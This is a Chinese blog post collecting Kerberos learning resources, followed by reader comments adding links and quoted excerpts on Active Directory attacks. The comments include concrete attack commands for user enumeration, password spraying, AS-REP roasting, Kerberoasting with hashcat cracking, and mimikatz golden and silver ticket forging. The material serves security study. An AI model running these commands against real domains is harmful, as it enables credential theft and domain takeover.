=Start=
缘由:
整理一些和Kerberos相关的资料,方便在需要的时候参考和检索。
正文:
参考解答:
# Kerberos是什么?
Kerberos是一种网络认证协议,在互不信任的网络中,Kerberos提供了一种可靠的中心化认证协议,以便网络中的各个机器之间能够相互访问。
# Kerberos工作原理图
# Kerberos认证步骤
参考链接:
- kerberos认证原理
http://web.mit.edu/kerberos/krb5-current/doc/
https://tools.ietf.org/html/rfc1510 - Kerberos详解#nice
- 美团点评数据平台Kerberos优化实战
- Kerberos原理解析
- CHAPTER 3. USING KERBEROS
- 3.3. CONFIGURING A KERBEROS 5 SERVER
- Kerberos (protocol)
- Kerberos explained in pictures
- Explain like I’m 5: Kerberos
- What is kerberos and how does kerberos work
=END=
《 “Kerberos相关资料收集” 》 有 7 条评论
Kerberos原理
http://www.ahathinking.com/archives/243.html
MIT的Kerberos经典对话
http://web.mit.edu/kerberos/dialogue.html
Hadoop Kerberos安全机制介绍
http://dongxicheng.org/mapreduce/hadoop-kerberos-introduction/
Kerberos认证流程详解
https://blog.csdn.net/jewes/article/details/20792021
Kerberos安全体系详解—Kerberos的简单实现
http://www.cnblogs.com/wukenaihe/p/3732141.html
利用 Kerberos delegation 打造变种黄金票据
https://mp.weixin.qq.com/s/gw1EIMnXQ9tCZLkdvKdzAg
How the Kerberos Version 5 Authentication Protocol Works
https://technet.microsoft.com/pt-pt/library/cc772815(v=ws.10).aspx
轻松理解 Kerbreos 的认证过程
https://mp.weixin.qq.com/s/D0HVdAB2XgYcCg0vdx65UA
https://blog.csdn.net/wulantian/article/details/42418231
基于LDAP的用户管理
https://mp.weixin.qq.com/s/uwVAjjDXXlCRMOlr-hSaxQ
基于Kerberos的大数据安全方案
https://mp.weixin.qq.com/s/UehY8pqmJzsRurMTJY9Cgw
Kerberos unconstrained delegation abuse toolkit
https://github.com/dirkjanm/krbrelayx
“Relaying” Kerberos – Having fun with unconstrained delegation
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
域安全浅析-基础概念及历史漏洞分析
https://mp.weixin.qq.com/s/R1J6UFKw_m8PVuI_pcUMkA
`
Active Directory 101
基础概念
Active Directory
DNS & LDAP & Kerberos
Kerberos Overview
TGT & TGS
Kerberos & PAC
Kerberos & SPN
Kerberos Delegation
历史漏洞
GPP (MS14-025)
GoldenPAC (MS14-068)
PrivExchange (SSRF & NTLM Relay)
NTLM Tampering (Drop The MIC) & RBCD
Mitm6 & NTLM Relay & Kerberos Delegation
TL;DR
本文首先介绍了Windows域的基础概念,比如什么是Kerberos、票据(Ticket)、PAC(Privilege Attribute Certificate)、委派(Delegation)。了解了这些概念后,进一步对历史上出现过的典型漏洞原理进行分析,比如PAC伪造、NTLM转发及降级攻击、利用基于资源的约束委派获取主机权限,希望能帮助读者解开一些疑惑,对域安全有更清晰的认识。
文中大部分内容来源于互联网上的优秀文章,笔者根据自己的理解进行整理编写,水平有限,难免会出错,还请各位看官不吝指教。
`
https://www.freebuf.com/articles/system/45631.html 敞开的地狱之门:Kerberos协议的滥用
https://en.wikipedia.org/wiki/Kerberos_(protocol) Kerberos (protocol)
https://www.roguelynn.com/words/explain-like-im-5-kerberos/ Explain like I’m 5: Kerberos
https://technet.microsoft.com/en-us/library/bb742516.aspx Kerberos Explained
https://www.youtube.com/watch?v=u7MQoSN19O4 Basic Kerberos Authentication
https://www.youtube.com/watch?v=UGWP4ewxcTA Kerberos Delegation and Protocol Transition
https://www.youtube.com/watch?v=lJQn06QLwEw Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It
https://www.youtube.com/watch?v=rFi9Ufb6Yp0 Constrained Kerberos Delegation
https://adsecurity.org/?p=1667 Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain)
域渗透 | Kerberos攻击速查表
https://www.secpulse.com/archives/123403.html
`
0x01 暴力破解
0x02 ASPEPRoast
0x03 Kerberoasting攻击
0x04 Pass The Hash & Pass The Key
0x05 Pass The Ticket (PTT)
0x06 Silver ticket
0x07 Golden ticket
0x08 杂项
`
kerbrute.py: https://github.com/TarlogicSecurity/kerbrute
Rubeus: https://github.com/Zer1t0/Rubeus
PsExec: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
Impacket: https://github.com/SecureAuthCorp/impacket
tickey: https://github.com/TarlogicSecurity/tickey
Mimikatz: https://github.com/gentilkiwi/mimikatz
关于 Kerberos 每个人都应该知道这些
https://mp.weixin.qq.com/s/gLg0pdVRWl3hJMB5au61rw
`
01 Kerberos 要干什么
Kerberos 是一个用于验证用户或主机身份的身份验证协议,Kerberos 协议在开放和不安全的网络上提供一种可靠的认证,但需要网络中的主机本身是可信的,即可信主机在不可信网络上的认证,微软 Kerberos 协议的实现遵循 RFC 的标准
# 设计目的
• 用户密码不在网络上传输
• 用户密码不在任何客户端存储,使用完应立即销毁
• 用户密码不应该明文存储在服务器
• 集中认证,应用服务器不知道用户认证信息,集中认证可以让管理员在一个地方统一管理用户
• 支持双向认证,客户端也可以认证服务端
• 认证完成后,客户端和服务端必须可以加密传输数据
02 一些概念
03 Kerberos 认证流程
04 Kerberos 相关的攻击方式
# 域用户枚举
在没有域内用户的情况下,通过 AS_REP 对用户存在和不存在返回的不同,枚举域内用户
nmap –script krb5-enum-users
# Password Spray
域用户一般都有账户锁定机制,爆破密码容易锁定账号。因此可以使用固定密码,去尝试所有的域账号
DomainPasswordSpray 会自动获取用户列表,并尝试登录
Invoke-DomainPasswordSpray -Password Spring2017
# ASREPRoast
如果没有启用预认证,则在AS_REP 中可以获取到用户 HASH 加密的数据,基于这点可以离线爆破用户hash
Rubeus 可以寻找没有启用预认证的用户并获取 hash 加密的数据
Rubeus.exe asreproast /format:hashcat /outfile:hash.txt
hashcat64.exe -m 18200 hash.txt pass.txt –force
# Kerberoasting
在微软 Kerberos 协议实现中,任何经过认证的域用户可以获取服务票据。服务票据通过服务账户 hash加密,而服务账户一种是关联到机器账户,一种是关联到域用户账户。机器账户密码复杂爆破难度高,通常寻找域用户账户关联的服务来进行爆破
使用 Empire 中的 Invoke-Kerberoast 可以自动获取域用户账户关联服务的SPN并获取票据
Invoke-kerberoast –outputformat hashcat | fl
使用 hashcat 破解票据
hashcat64.exe –m 13100 hash.txt pass.txt –force
# over-pass-the-hash
获取到用户的 hash 后,利用用户 hash 和 kerberos 协议认证系统,与 pass-the-hash 不同之处在于,pass-the-hash 是用用户 hash 和 NTLM 协议认证系统
利用方式和 pass-the-hash 的相同
# 黄金票据
在知道 krbtgt 用户 hash 后,可以制作黄金票据,不在向 KDC 申请
利用 mimikatz 生成黄金票据
kerberos::purge
kerberos::golden /admin:administrator /domain:college.com /sid:S-1-5-21-3792756393-3386897061-2081858749 /krbtgt:4c
# 白银票据
在知道服务用户 hash 后,可以制作白银票据,不在向 KDC 申请利用 mimikatz 生成黄金票据
kerberos::golden /user:username /id:1106 /domain:domainname /sid:S-1-5-21-1473643419-774954089-2222329127 /target:s
`